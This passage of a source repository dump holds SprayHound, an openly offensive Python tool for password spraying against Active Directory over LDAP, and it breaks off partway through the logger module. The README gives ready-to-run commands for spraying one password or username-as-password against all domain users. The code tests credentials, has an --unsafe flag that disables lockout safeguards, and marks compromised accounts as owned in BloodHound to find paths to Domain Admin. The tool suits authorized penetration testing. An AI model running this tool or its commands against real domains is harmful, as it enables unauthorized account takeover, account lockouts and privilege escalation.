├── .github └── workflows │ └── ci.yml ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── asssets └── example.gif ├── requirements.txt ├── setup.py └── sprayhound ├── __init__.py ├── core.py ├── modules ├── __init__.py ├── credential.py ├── ldapconnection.py ├── logger.py └── neo4jconnection.py └── utils ├── __init__.py ├── defines.py └── utils.py /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | branches: [ master ] 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - name: Checkout code 15 | uses: actions/checkout@v4 16 | 17 | - name: Set up Python 18 | uses: actions/setup-python@v5 19 | with: 20 | python-version: '3.11' 21 | 22 | - name: Install system dependencies 23 | run: | 24 | sudo apt-get update 25 | sudo apt-get install -y libsasl2-dev python3-dev libldap2-dev libssl-dev 26 | 27 | - name: Install package with pipx 28 | run: | 29 | python3 -m pip install --user pipx 30 | python3 -m pipx ensurepath 31 | pipx install . 32 | 33 | - name: Execute test command with pipx 34 | run: | 35 | sprayhound --help 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # Distribution / packaging 7 | .Python 8 | build/ 9 | develop-eggs/ 10 | dist/ 11 | downloads/ 12 | eggs/ 13 | .eggs/ 14 | lib/ 15 | lib64/ 16 | parts/ 17 | sdist/ 18 | var/ 19 | wheels/ 20 | pip-wheel-metadata/ 21 | share/python-wheels/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | MANIFEST 26 | 27 | # IDE 28 | .idea 29 | 30 | # Tests 31 | tests/tests_config.py 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Pixis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | clean: 2 | rm -f -r build/ 3 | rm -f -r dist/ 4 | rm -f -r *.egg-info 5 | find . -name '*.pyc' -exec rm -f {} + 6 | find . -name '*.pyo' -exec rm -f {} + 7 | find . -name '*~' -exec rm -f {} + 8 | 9 | publish: clean 10 | python3.7 setup.py sdist bdist_wheel 11 | python3.7 -m twine upload dist/* 12 | 13 | testpublish: clean 14 | python3.7 setup.py sdist bdist_wheel 15 | python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/* 16 | 17 | rebuild: clean 18 | python3.7 setup.py install 19 | 20 | build: clean 21 | python3.7 setup.py install 22 | 23 | install: build 24 | 25 | test: 26 | python3.7 setup.py test -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SprayHound 2 | 3 | [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=0.0.4&x2=0)](https://pypi.org/project/sprayhound/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) 4 | 5 | 6 | ![Example](https://raw.githubusercontent.com/Hackndo/sprayhound/master/asssets/example.gif) 7 | 8 | Python library to safely password spray in Active Directory, set pwned users as owned in Bloodhound and detect path to Domain Admins 9 | 10 | 11 | This library uses [ldap3](https://ldap3.readthedocs.io) project for all LDAP operations. 12 | 13 | | Chapters | Description | 14 | |----------------------------------------------|---------------------------------------------------------| 15 | | [Requirements](#requirements) | Requirements to install sprayhound | 16 | | [Warning](#warning) | Before using this tool, read this | 17 | | [Installation](#installation) | Installation instructions | 18 | | [Usage](#usage) | Usage and command lines examples | 19 | 20 | ## Requirements 21 | 22 | * Python >= 3.6 23 | 24 | ## Warning 25 | 26 | Only default domain policy is checked for now. If custom GPO is used for password policy, it won't be detected. That's some work in progress. 27 | 28 | 29 | ## Installation 30 | 31 | ### From pip 32 | 33 | ```bash 34 | python3 -m pip install sprayhound 35 | ``` 36 | 37 | ### From source 38 | 39 | ```bash 40 | sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev 41 | git clone git@github.com:Hackndo/sprayhound.git 42 | cd sprayhound 43 | python3 setup.py install 44 | ``` 45 | 46 | ## Usage 47 | 48 | ### Parameters 49 | 50 | ```bash 51 | $ sprayhound -h 52 | 53 | usage: sprayhound [-h] [-u USERNAME] [-U USERFILE] 54 | [-p PASSWORD | --lower | --upper] [-t THRESHOLD] 55 | [-dc DOMAIN_CONTROLLER] [-d DOMAIN] [-lP LDAP_PORT] 56 | [-lu LDAP_USER] [-lp LDAP_PASS] [-lssl] 57 | [-lpage LDAP_PAGE_SIZE] [-nh NEO4J_HOST] [-nP NEO4J_PORT] 58 | [-nu NEO4J_USER] [-np NEO4J_PASS] [--unsafe] [--force] 59 | [--nocolor] [-v] 60 | 61 | sprayhound v0.0.1 - Password spraying 62 | 63 | optional arguments: 64 | -h, --help show this help message and exit 65 | --unsafe Enable login tries on almost locked out accounts 66 | --force Do not prompt for user confirmation 67 | --nocolor Do not use color for output 68 | -v Verbosity level (-v or -vv) 69 | 70 | credentials: 71 | -u USERNAME, --username USERNAME 72 | Username 73 | -U USERFILE, --userfile USERFILE 74 | File containing username list 75 | -p PASSWORD, --password PASSWORD 76 | Password 77 | --lower User as pass with lowercase password 78 | --upper User as pass with uppercase password 79 | -t THRESHOLD, --threshold THRESHOLD 80 | Number of password left allowed before locked out 81 | 82 | ldap: 83 | -dc DOMAIN_CONTROLLER, --domain-controller DOMAIN_CONTROLLER 84 | Domain controller 85 | -d DOMAIN, --domain DOMAIN 86 | Domain FQDN 87 | -lP LDAP_PORT, --ldap-port LDAP_PORT 88 | LDAP Port 89 | -lu LDAP_USER, --ldap-user LDAP_USER 90 | LDAP User 91 | -lp LDAP_PASS, --ldap-pass LDAP_PASS 92 | LDAP Password 93 | -lssl, --ldap-ssl LDAP over TLS (ldaps) 94 | -lpage LDAP_PAGE_SIZE, --ldap-page-size LDAP_PAGE_SIZE 95 | LDAP Paging size (Default: 200) 96 | 97 | neo4j: 98 | -nh NEO4J_HOST, --neo4j-host NEO4J_HOST 99 | Neo4J Host (Default: 127.0.0.1) 100 | -nP NEO4J_PORT, --neo4j-port NEO4J_PORT 101 | Neo4J Port (Default: 7687) 102 | -nu NEO4J_USER, --neo4j-user NEO4J_USER 103 | Neo4J user (Default: neo4j) 104 | -np NEO4J_PASS, --neo4j-pass NEO4J_PASS 105 | Neo4J password (Default: neo4j) 106 | ``` 107 | 108 | ### Unauthenticated 109 | 110 | When used unauthenticated, **sprayhound** won't be able to check password policies. Account could be locked out. 111 | 112 | ```bash 113 | # Single user, single password 114 | sprayhound -u simba -p Pentest123.. -d hackn.lab -dc 10.10.10.1 115 | 116 | # User list, single password 117 | sprayhound -U ./users.txt -p Pentest123.. -d hackn.lab -dc 10.10.10.1 118 | 119 | # User as pass 120 | sprayhound -U ./users.txt -d hackn.lab -dc 10.10.10.1 121 | 122 | # User as pass with password lowercase 123 | sprayhound -U ./users.txt --lower -d hackn.lab -dc 10.10.10.1 124 | 125 | # User as pass with password uppercase 126 | sprayhound -U ./users.txt --upper -d hackn.lab -dc 10.10.10.1 127 | ``` 128 | 129 | ### Authenticated 130 | 131 | When providing a valid domain account, **sprayhound** will try and find default domain policy and check **badpwdcount** attribute of each user against lockout threshold. If too close, it will skip these accounts. 132 | 133 | ```bash 134 | # Single user, single password 135 | sprayhound -u simba -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd 136 | 137 | # All domain users, single password 138 | sprayhound -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd 139 | 140 | # All domain users, single password, using an account from a trusted domain 141 | sprayhound -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu 'babdcatha.net\Babd' -lp P4ssw0rd 142 | 143 | # User as pass on all domain users 144 | sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd 145 | 146 | # User as pass with password lowercase 147 | sprayhound --lower -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd 148 | 149 | # User as pass with password uppercase 150 | sprayhound --upper -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd 151 | ``` 152 | 153 | Difference between **badpwdcount** and lockout threshold can be tuned using `--threshold` parameter. If set to **2**, and password policy locks out accounts after 5 login failure, then **sprayhound** won't test users with **badpwdcount** 3 (and more). 154 | 155 | ```bash 156 | sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd --threshold 1 157 | ``` 158 | 159 | ## Bloodhound integration 160 | 161 | When **sprayhound** finds accounts credentials, it can set these accounts as **Owned** in BloodHound. BloodHound information should be provided to this tool. 162 | 163 | ```bash 164 | # -nh: Neo4J server 165 | # -nP: Neo4J port 166 | # -nu: Neo4J user 167 | # -np: Neo4J password 168 | sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd -nh 127.0.0.1 -nP 7687 -nu neo4j -np bloodhound 169 | ``` 170 | 171 | 172 | ## Changelog 173 | 174 | ``` 175 | v0.0.2 176 | ------ 177 | First release 178 | ``` 179 | -------------------------------------------------------------------------------- /asssets/example.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hackndo/sprayhound/5e7bf940470dbc486e63d7cb7cb9dd72c5c606a1/asssets/example.gif -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | neo4j 2 | ldap3 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import pathlib 7 | 8 | from setuptools import setup, find_packages 9 | 10 | HERE = pathlib.Path(__file__).parent 11 | README = (HERE / "README.md").read_text() 12 | 13 | setup( 14 | name="sprayhound", 15 | version="0.0.4", 16 | author="pixis", 17 | author_email="pixis@hackndo.com", 18 | description="Password spraying with BloodHound integration", 19 | long_description=README, 20 | long_description_content_type="text/markdown", 21 | packages=find_packages(exclude=["assets", "cme"]), 22 | include_package_data=True, 23 | url="https://github.com/hackanddo/sprayhound", 24 | zip_safe = True, 25 | license="MIT", 26 | install_requires=[ 27 | 'neo4j', 28 | 'ldap3' 29 | ], 30 | python_requires='>=3.6', 31 | classifiers=( 32 | "Programming Language :: Python :: 3.6", 33 | "Programming Language :: Python :: 3.7", 34 | "Programming Language :: Python :: 3.8", 35 | "Programming Language :: Python :: 3.9", 36 | "Programming Language :: Python :: 3.10", 37 | "Programming Language :: Python :: 3.11", 38 | "License :: OSI Approved :: MIT License", 39 | "Operating System :: OS Independent", 40 | ), 41 | entry_points={ 42 | 'console_scripts': [ 43 | 'sprayhound = sprayhound.core:run', 44 | ], 45 | } 46 | ) 47 | -------------------------------------------------------------------------------- /sprayhound/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | from .core import SprayHound 7 | 8 | __all__ = ["SprayHound"] 9 | -------------------------------------------------------------------------------- /sprayhound/core.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import os 7 | from sprayhound.modules.logger import Logger 8 | from sprayhound.modules.ldapconnection import LdapConnection 9 | from sprayhound.modules.neo4jconnection import Neo4jConnection 10 | from sprayhound.modules.credential import Credential 11 | from sprayhound.utils.utils import * 12 | 13 | 14 | class SprayHound: 15 | def __init__(self, users, password, lower, upper, threshold, 16 | ldap_options, 17 | neo4j_options, 18 | logger_options=Logger.Options(), 19 | unsafe=False, 20 | force=False 21 | ): 22 | self.log = Logger(logger_options) 23 | self.ldap = LdapConnection(ldap_options, self.log) 24 | self.neo4j_options = neo4j_options 25 | self.neo4j = None 26 | self.credentials = [] 27 | self.users = users 28 | self.password = password 29 | self.lower = lower 30 | self.upper = upper 31 | self.threshold = threshold 32 | self.unsafe = unsafe 33 | self.force = force 34 | 35 | def run(self): 36 | if not self.ldap.domain: 37 | return ERROR_LDAP_NOT_FQDN_DOMAIN 38 | 39 | if not (self.ldap.username and self.ldap.password and self.ldap.host): 40 | if not self.users: 41 | return ERROR_NO_USER_NO_LDAP 42 | else: 43 | if not self.force: 44 | self.log.warn("BEWARE ! You are going to test user/pass without providing a valid domain user") 45 | self.log.warn("Without a valid domain user, tested account may be locked out as we're not able to determine password policy and bad password count") 46 | 47 | answer = self.log.input("Continue anyway?", ["y", "n"], "n") 48 | if answer == "n": 49 | self.log.warn("Wise master. Bye.") 50 | sys.exit(0) 51 | self.get_credentials(lower=self.lower, upper=self.upper) 52 | else: 53 | try: 54 | self.ldap.login() 55 | self.log.success("Login successful") 56 | except Exception as e: 57 | self.log.error("Failed login") 58 | raise 59 | 60 | try: 61 | self.ldap.get_password_policy() 62 | self.log.success("Successfully retrieved password policy (Threshold: {})".format(self.ldap.domain_threshold)) 63 | except Exception as e: 64 | self.log.error("Failed getting password policy") 65 | raise 66 | 67 | try: 68 | self.get_ldap_credentials(lower=self.lower, upper=self.upper) 69 | self.log.success("Successfully retrieved {} users".format(len(self.credentials))) 70 | except Exception as e: 71 | self.log.error("Failed getting ldap credentials") 72 | raise 73 | 74 | try: 75 | return self.test_credentials() 76 | except: 77 | raise 78 | 79 | def get_credentials(self, lower=False, upper=False): 80 | self.credentials = [Credential(user) for user in self.users] 81 | for i in range(len(self.credentials)): 82 | if self.password: 83 | self.credentials[i].password = self.password 84 | elif lower: 85 | self.credentials[i].password = self.credentials[i].samaccountname.lower() 86 | elif upper: 87 | self.credentials[i].password = self.credentials[i].samaccountname.upper() 88 | else: 89 | self.credentials[i].password = self.credentials[i].samaccountname 90 | 91 | def get_ldap_credentials(self, lower=False, upper=False): 92 | if not self.users: 93 | ret = self.ldap.get_users(self) 94 | if ret != ERROR_SUCCESS: 95 | return ret 96 | else: 97 | ret = self.ldap.get_users(self, users=self.users, disabled=True) 98 | if ret != ERROR_SUCCESS: 99 | return ret 100 | 101 | for i in range(len(self.credentials)): 102 | if self.password: 103 | self.credentials[i].set_password(self.password) 104 | elif lower: 105 | self.credentials[i].set_password(self.credentials[i].samaccountname.lower()) 106 | elif upper: 107 | self.credentials[i].set_password(self.credentials[i].samaccountname.upper()) 108 | else: 109 | self.credentials[i].set_password(self.credentials[i].samaccountname) 110 | 111 | return ERROR_SUCCESS 112 | 113 | def test_credentials(self): 114 | owned = [] 115 | 116 | testing_nb = len([c.is_tested(self.threshold, self.unsafe) for c in self.credentials if c.is_tested(self.threshold, self.unsafe)[0]]) 117 | 118 | self.log.success(self.log.colorize("{} users will be tested".format(testing_nb), self.log.GREEN)) 119 | self.log.success(self.log.colorize("{} users will not be tested".format(len(self.credentials) - testing_nb), self.log.YELLOW)) 120 | if not self.force: 121 | answer = self.log.input("Continue?", ['y', 'n'], 'y') 122 | if answer != "y": 123 | self.log.warn("Ok, master. Bye.") 124 | return ERROR_SUCCESS 125 | 126 | for credential in self.credentials: 127 | ret = credential.is_valid(self.ldap, self.threshold, self.unsafe) 128 | if ret == ERROR_SUCCESS: 129 | self.log.success("[ {} ] {}".format(self.log.colorize("VALID", self.log.GREEN), self.log.highlight("{} : {}").format(credential.samaccountname, credential.password))) 130 | owned.append(credential.samaccountname) 131 | elif ret == ERROR_LDAP_SERVICE_UNAVAILABLE: 132 | return ret 133 | elif ret == ERROR_THRESHOLD: 134 | self.log.debug("[ {} ] {} : {} BadPwdCount: {}, PwdPol: {}".format(self.log.colorize("SKIPPED", self.log.BLUE), credential.samaccountname, credential.password, credential.bad_password_count+1, credential.threshold)) 135 | elif ret == ERROR_LDAP_CREDENTIALS: 136 | self.log.debug("[{}] {} : {} failed - BadPwdCount: {}, PwdPol: {}".format(self.log.colorize("NOT VALID", self.log.RED), credential.samaccountname, credential.password, credential.bad_password_count+1, credential.threshold)) 137 | else: 138 | self.log.debug("{} : {} failed - BadPwdCount: {}, PwdPol: {} (Error {}: {})".format(credential.samaccountname, credential.password, credential.bad_password_count+1, credential.threshold, ret[0], ret[1])) 139 | 140 | 141 | answer = "n" 142 | if len(owned) > 1: 143 | self.log.success("{} user(s) have been owned !".format(len(owned))) 144 | if not self.force: 145 | answer = self.log.input("Do you want to set them as 'owned' in Bloodhound ?", ['y', 'n'], 'y') 146 | elif len(owned) > 0: 147 | self.log.success("{} user has been owned !".format(len(owned))) 148 | if not self.force: 149 | answer = self.log.input("Do you want to set it as 'owned' in Bloodhound ?", ['y', 'n'], 'y') 150 | if not self.force: 151 | if answer != "y": 152 | self.log.warn("Ok, master. Bye.") 153 | return ERROR_SUCCESS 154 | 155 | self.neo4j = Neo4jConnection(self.neo4j_options) 156 | 157 | for own in owned: 158 | ret = self.neo4j.set_as_owned(own, self.ldap.domain) 159 | if ret == ERROR_SUCCESS: 160 | msg = "Node {} owned!".format(own) 161 | if self.neo4j.bloodhound_analysis(own, self.ldap.domain) == ERROR_SUCCESS: 162 | msg += " [{}PATH TO DA{}]".format('\033[91m', '\033[0m') 163 | self.log.success(msg) 164 | elif ret == ERROR_NEO4J_NON_EXISTENT_NODE: 165 | self.log.warn("Node {} does not exist".format(own)) 166 | else: 167 | return ret 168 | 169 | return ERROR_SUCCESS 170 | 171 | 172 | class CLI: 173 | def __init__(self): 174 | self.args = get_args() 175 | self.log_options = Logger.Options(verbosity=self.args.v, nocolor=self.args.nocolor) 176 | 177 | self.log = Logger(self.log_options) 178 | 179 | self.ldap_options = LdapConnection.Options( 180 | self.args.domain_controller, 181 | self.args.domain, 182 | self.args.ldap_user, 183 | self.args.ldap_pass, 184 | self.args.ldap_port, 185 | self.args.ldap_ssl, 186 | self.args.ldap_page_size 187 | ) 188 | self.neo4j_options = Neo4jConnection.Options( 189 | self.args.neo4j_host, 190 | self.args.neo4j_user, 191 | self.args.neo4j_pass, 192 | self.args.neo4j_port, 193 | self.log 194 | ) 195 | 196 | self.users = [] 197 | if self.args.username: 198 | self.users = [self.args.username] 199 | elif self.args.userfile: 200 | if not os.path.isfile(self.args.userfile): 201 | sprayhound_exit(self.log, ERROR_USER_FILE_NOT_FOUND) 202 | with open(self.args.userfile, 'r') as f: 203 | self.users = [user.strip().lower() for user in f if user.strip() != ""] 204 | self.password = self.args.password 205 | self.lower = self.args.lower 206 | self.upper = self.args.upper 207 | self.threshold = self.args.threshold 208 | 209 | def run(self): 210 | try: 211 | return SprayHound( 212 | self.users, self.password, self.lower, self.upper, self.threshold, 213 | ldap_options=self.ldap_options, 214 | neo4j_options=self.neo4j_options, 215 | logger_options=self.log_options, 216 | unsafe=self.args.unsafe, 217 | force=self.args.force 218 | ).run() 219 | except Exception as e: 220 | self.log.error("An error occurred while executing SprayHound") 221 | if self.args.v == 2: 222 | raise 223 | else: 224 | return False 225 | 226 | 227 | def run(): 228 | CLI().run() 229 | -------------------------------------------------------------------------------- /sprayhound/modules/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | -------------------------------------------------------------------------------- /sprayhound/modules/credential.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | from sprayhound.utils.utils import * 7 | 8 | 9 | class Credential: 10 | def __init__(self, samaccountname, password=None, bad_password_count=0, threshold=0, dn=None, pso=False): 11 | self.dn = dn 12 | self.samaccountname = samaccountname 13 | self.password = password 14 | self.bad_password_count = bad_password_count 15 | self.threshold = threshold 16 | self.pso = pso 17 | 18 | def set_password(self, password): 19 | self.password = password 20 | 21 | def is_tested(self, threshold=1, unsafe=False): 22 | to_be_tested = True 23 | if not unsafe: 24 | if self.pso or (self.threshold > 0 and self.threshold - self.bad_password_count <= threshold): 25 | to_be_tested = False 26 | return to_be_tested, self.bad_password_count 27 | 28 | def is_valid(self, ldap_connection, threshold=1, unsafe=False): 29 | if not unsafe: 30 | if self.pso: 31 | return ERROR_PSO 32 | if self.threshold > 0 and self.threshold - self.bad_password_count <= threshold: 33 | return ERROR_THRESHOLD 34 | return ldap_connection.test_credentials(self.samaccountname, self.password) -------------------------------------------------------------------------------- /sprayhound/modules/ldapconnection.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import socket 7 | import ldap3 8 | 9 | from sprayhound.modules.credential import Credential 10 | from sprayhound.utils.defines import * 11 | 12 | 13 | class LdapConnection: 14 | class Options: 15 | def __init__(self, host, domain, username, password, port=None, ssl=False, page_size=200): 16 | self.host = host 17 | self.domain = domain 18 | self.username = username 19 | self.password = password 20 | self.ssl = ssl 21 | self.scheme = "ldaps" if self.ssl else "ldap" 22 | self.page_size = page_size 23 | if port is None: 24 | self.port = 636 if self.ssl else 389 25 | else: 26 | self.port = port 27 | 28 | def __init__(self, options, log): 29 | self.host = options.host 30 | self.domain = options.domain 31 | self.username = options.username 32 | self.password = options.password 33 | self.ssl = options.ssl 34 | self.scheme = options.scheme 35 | self.port = options.port 36 | self.page_size = options.page_size 37 | self.log = log 38 | self.domain_dn = None 39 | self._conn = None 40 | self.server = None 41 | self.domain_threshold = 0 42 | self.granular_threshold = {} # keys are policy DNs 43 | self.get_domain_dn() 44 | 45 | def get_domain(self): 46 | host_fqdn = socket.getfqdn() 47 | if "." not in host_fqdn: 48 | return ERROR_LDAP_NOT_FQDN_DOMAIN 49 | self.domain = host_fqdn.split('.', 1)[1] 50 | 51 | def get_domain_dn(self): 52 | if not self.domain: 53 | try: 54 | self.get_domain() 55 | except Exception as e: 56 | self.log.error("Could not get domain name") 57 | raise 58 | if '.' not in self.domain: 59 | return ERROR_LDAP_NOT_FQDN_DOMAIN 60 | self.domain_dn = ','.join(['DC=' + part for part in self.domain.split('.')]) 61 | 62 | def login(self): 63 | self._get_server() 64 | if not self.username or not self.password or not self.domain: 65 | return ERROR_LDAP_NO_CREDENTIALS 66 | 67 | if(self.username.find("\\") == -1): 68 | self.username = self.domain + "\\" + self.username 69 | 70 | try: 71 | self.log.debug("Trying bind with {} : {}".format(self.username, self.password)) 72 | self._conn = ldap3.Connection(self.server, authentication=ldap3.NTLM, user=self.username, password=self.password, auto_referrals=False, raise_exceptions=True) 73 | self._conn.bind() 74 | self.log.debug("LDAP authentication successful!") 75 | return ERROR_SUCCESS 76 | except ldap3.core.exceptions.LDAPSocketOpenError: 77 | self.log.error("Service unavailable on {}://{}:{}".format(self.scheme, self.host, self.port)) 78 | raise 79 | except ldap3.core.exceptions.LDAPInvalidCredentialsResult: 80 | self.log.error("Invalid credentials {}/{}:{}".format(self.domain, self.username, self.password)) 81 | print([self.username]) 82 | raise 83 | 84 | 85 | def test_credentials(self, username, password): 86 | self.username = username 87 | self.password = password 88 | 89 | self._get_server() 90 | 91 | try: 92 | self._conn = ldap3.Connection(self.server, authentication=ldap3.NTLM, user=self.domain + "\\" + self.username, password=self.password, auto_referrals=False, raise_exceptions=True) 93 | self._conn.bind() 94 | return ERROR_SUCCESS 95 | except ldap3.core.exceptions.LDAPSocketOpenError: 96 | self.log.error("Service unavailable on {}://{}:{}".format(self.scheme, self.host, self.port)) 97 | raise 98 | except ldap3.core.exceptions.LDAPInvalidCredentialsResult: 99 | return ERROR_LDAP_CREDENTIALS 100 | except Exception as e: 101 | self.log.error("Unexpected error while trying {}:{}".format(self.domain + "\\" + self.username, password)) 102 | raise 103 | 104 | def get_users(self, dispatcher, users=None, disabled=True): 105 | filters = ["(objectClass=User)"] 106 | if users: 107 | if len(users) == 1: 108 | filters.append("(samAccountName={})".format(users[0].lower())) 109 | else: 110 | filters.append("(|") 111 | filters.append("".join("(samAccountName={})".format(user.lower()) for user in users)) 112 | filters.append(")") 113 | if not disabled: 114 | filters.append("(!(userAccountControl:1.2.840.113556.1.4.803:=2))") 115 | 116 | if len(filters) > 1: 117 | filters = '(&' + ''.join(filters) + ')' 118 | else: 119 | filters = filters[0] 120 | try: 121 | self.log.debug("Looking in {}".format(self.domain_dn)) 122 | ldap_attributes = ['samAccountName', 'badPwdCount', 'msDS-ResultantPSO'] 123 | self.log.debug("Users will be retrieved using paging") 124 | res = self.get_paged_users(filters, ldap_attributes) 125 | 126 | results = [ 127 | Credential( 128 | samaccountname=entry['attributes']['sAMAccountName'], 129 | bad_password_count=0 if 'badPwdCount' not in entry['attributes'] else int(entry['attributes']['badPwdCount']), 130 | threshold=self.domain_threshold if entry['dn'] not in self.granular_threshold else self.granular_threshold[entry['dn']], 131 | pso=True if 'msDS-ResultantPSO' in entry['attributes'] and isinstance(entry['attributes']['msDS-ResultantPSO'], str) and entry['attributes']['msDS-ResultantPSO'].upper().startswith('CN=') else False 132 | ) for entry in res if isinstance(entry, dict) and 'attributes' in entry and entry['attributes']['sAMAccountName'][-1] != '$' 133 | ] 134 | 135 | dispatcher.credentials = results 136 | return ERROR_SUCCESS 137 | except Exception as e: 138 | self.log.error("An error occurred while looking for users via LDAP") 139 | raise 140 | 141 | def get_paged_users(self, filters, attributes): 142 | result = [] 143 | 144 | entry_generator = self._conn.extend.standard.paged_search(search_base = self.domain_dn, 145 | search_filter = filters, 146 | search_scope = ldap3.SUBTREE, 147 | attributes = attributes, 148 | paged_size = 5, 149 | generator=True) 150 | 151 | total_entries=0 152 | for entry in entry_generator: 153 | total_entries += 1 154 | result.append(entry) 155 | 156 | return result 157 | 158 | def get_password_policy(self): 159 | default_policy_container = self.domain_dn 160 | granular_policy_container = 'CN=Password Settings Container,CN=System,{}'.format(self.domain_dn) 161 | granular_policy_filter = '(objectClass=msDS-PasswordSettings)' 162 | granular_policy_attribs = ['msDS-LockoutThreshold', 'msDS-PSOAppliesTo'] 163 | try: 164 | # Load domain-wide policy. 165 | self._conn.search(default_policy_container, '(objectClass=*)', search_scope=ldap3.BASE, attributes=[ldap3.ALL_ATTRIBUTES, ldap3.ALL_OPERATIONAL_ATTRIBUTES]) 166 | except ldap3.core.exceptions.LDAPException as e: 167 | self.log.error("An LDAP error occurred while getting password policy") 168 | raise 169 | self.domain_threshold = int(self._conn.response[0]['attributes']['lockoutThreshold']) 170 | 171 | #TODO: implement granular policy retrieval 172 | #results = self._conn.search_s(granular_policy_container, ldap.SCOPE_ONELEVEL, granular_policy_filter, granular_policy_attribs) 173 | #print(results) 174 | #for policy in results: 175 | # if len(policy[1]['msDS-PSOAppliesTo']) > 0: 176 | # for dest in policy[1]['msDS-PSOAppliesTo']: 177 | # self.granular_threshold[dest.decode('utf-8')] = int(policy[1]['msDS-LockoutThreshold'][0]) 178 | 179 | return ERROR_SUCCESS 180 | 181 | def _get_server(self): 182 | self.server = ldap3.Server('{}://{}:{}'.format(self.scheme, self.host, self.port)) 183 | 184 | return ERROR_SUCCESS 185 | 186 | -------------------------------------------------------------------------------- /sprayhound/modules/logger.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com [FR] 5 | # https://en.hackndo.com [EN] 6 | 7 | import sys 8 | 9 | 10 | class Logger: 11 | 12 | 13 | 14 | 15 | class Options: 16 | def __init__(self, verbosity=0, nocolor=False): 17 | self.verbosity = verbosity 18 | self.nocolor = nocolor 19 | 20 | def __init__(self, options=Options()): 21 | if options.nocolor: 22 | self.DEFAULT = "" 23 | 24 | self.RED = "" 25 | self.GREEN = "" 26 | self.YELLOW = "" 27 | self.BLUE = "" 28 | self.WHITE = "" 29 | else: 30 | self.DEFAULT = "\033[0m" 31 | 32 | self.RED = "\033[1;31m" 33 | self.GREEN = "\033[1;32m" 34 | self.YELLOW = "\033[1;33m" 35 | self.BLUE = "\033[1;34m" 36 | self.WHITE = "\033[1;37m" 37 | self._verbosity = options.verbosity 38 | 39 | def info(self, msg): 40 | if self._verbosity >= 1: 41 | msg = "\n ".join(msg.split("\n")) 42 | print("{}[*]{} {}".format(self.BLUE, self.DEFAULT, msg)) 43 | 44 | def debug(self, msg): 45 | if self._verbosity >= 2: 46 | msg = "\n ".join(msg.split("\n")) 47 | print("{}[*]{} {}".format(self.WHITE, self.DEFAULT, msg)) 48 | 49 | def warn(self, msg): 50 | if self._verbosity >= 0: 51 | msg = "\n ".join(msg.split("\n")) 52 | print("{}[!]{} {}".format(self.YELLOW, self.DEFAULT, msg)) 53 | 54 | def error(self, msg): 55 | msg = "\n ".join(msg.split("\n")) 56 | print("{}[X]{} {}".format(self.RED, self.DEFAULT, msg), file=sys.stderr) 57 | 58 | def success(self, 